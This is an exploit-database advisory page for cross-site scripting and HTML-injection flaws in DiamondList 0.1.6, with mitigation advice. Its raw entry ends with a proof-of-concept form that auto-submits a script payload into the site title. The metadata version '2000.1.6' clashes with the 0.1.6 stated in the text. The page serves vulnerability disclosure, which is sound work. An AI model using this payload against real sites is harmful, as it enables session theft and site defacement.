header-logo
Suggest Exploit
vendor:
DiamondList
by:
Unknown
5.5
CVSS
MEDIUM
Cross-Site Scripting (XSS), HTML-Injection
79
CWE
Product Name: DiamondList
Affected Version From: 2000.1.6
Affected Version To: 2000.1.6
Patch Exists: NO
Related CWE:
CPE: a:diamondlist:diamondlist:0.1.6
Metasploit:
Other Scripts:
Platforms Tested:
2010

DiamondList Cross-Site Scripting and HTML-Injection Vulnerabilities

DiamondList is prone to a cross-site scripting vulnerability and an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Mitigation:

To mitigate these vulnerabilities, it is recommended to properly sanitize user-supplied input before using it in dynamically generated content. Input validation and output encoding should be implemented to prevent cross-site scripting and HTML-injection attacks.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/42252/info

DiamondList is prone to a cross-site scripting vulnerability and an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

DiamondList 0.1.6 is vulnerable; prior versions may also be affected. 

<form action="http://www.example.com/user/main/update_settings" method="post"  name="main" >
<input type="hidden" name="setting[site_title]" value='Wishlists</title><script>alert(document.cookie)</script>' />
<input type="hidden" name="setting[site_keywords]" value="wishlists, applications" />
<input type="hidden" name="setting[site_description]" value="Powered by DiamondList" />
<input type="hidden" name="setting[theme]" value="default" />
<input type="hidden" name="commit" value="Save Settings" />

</form>
<script>
document.main.submit();
</script>